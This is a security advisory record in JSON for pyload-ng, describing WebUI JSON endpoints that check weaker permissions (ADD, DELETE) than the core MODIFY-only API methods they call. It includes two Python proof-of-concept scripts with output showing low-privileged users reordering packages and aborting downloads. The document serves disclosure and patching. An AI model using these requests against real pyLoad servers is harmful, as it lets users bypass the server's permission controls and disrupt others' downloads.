{"id":"PYSEC-2026-2997","summary":"pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions","details":"### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n  - `/json/move_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n  - `/json/edit_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == 'attacker'\n\n    def order_package(self, pack_id, pos):\n        self.calls.append(('order_package', int(pack_id), int(pos)))\n\n    def order_file(self, file_id, pos):\n        self.calls.append(('order_file', int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.ADD}\nprint('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))\nprint('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s['authenticated'] = True\n        s['name'] = 'attacker'\n        s['role'] = int(Role.USER)\n        s['perms'] = int(Perms.ADD)\n\n    r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})\n    r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})\n\nprint('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())\nprint('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [('order_package', 5, 0), ('order_file', 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == 'u'\n\n    def stop_downloads(self, ids):\n        self.calls.append(('stop_downloads', ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.DELETE}\nprint('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s['authenticated'] = True\n        s['name'] = 'u'\n        s['role'] = int(Role.USER)\n        s['perms'] = int(Perms.DELETE)\n\n    r = c.post('/json/abort_link', json={'link_id': 999})\n\nprint('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [('stop_downloads', [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.","aliases":["CVE-2026-40071","GHSA-rfgh-63mg-8pwm"],"modified":"2026-07-13T16:32:43.717402463Z","published":"2026-07-13T14:36:49.321859Z","references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40071"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"},{"type":"PACKAGE","url":"https://pypi.org/project/pyload-ng"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rfgh-63mg-8pwm"}],"affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev100","0.5.0b3.dev101","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-2997.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}]}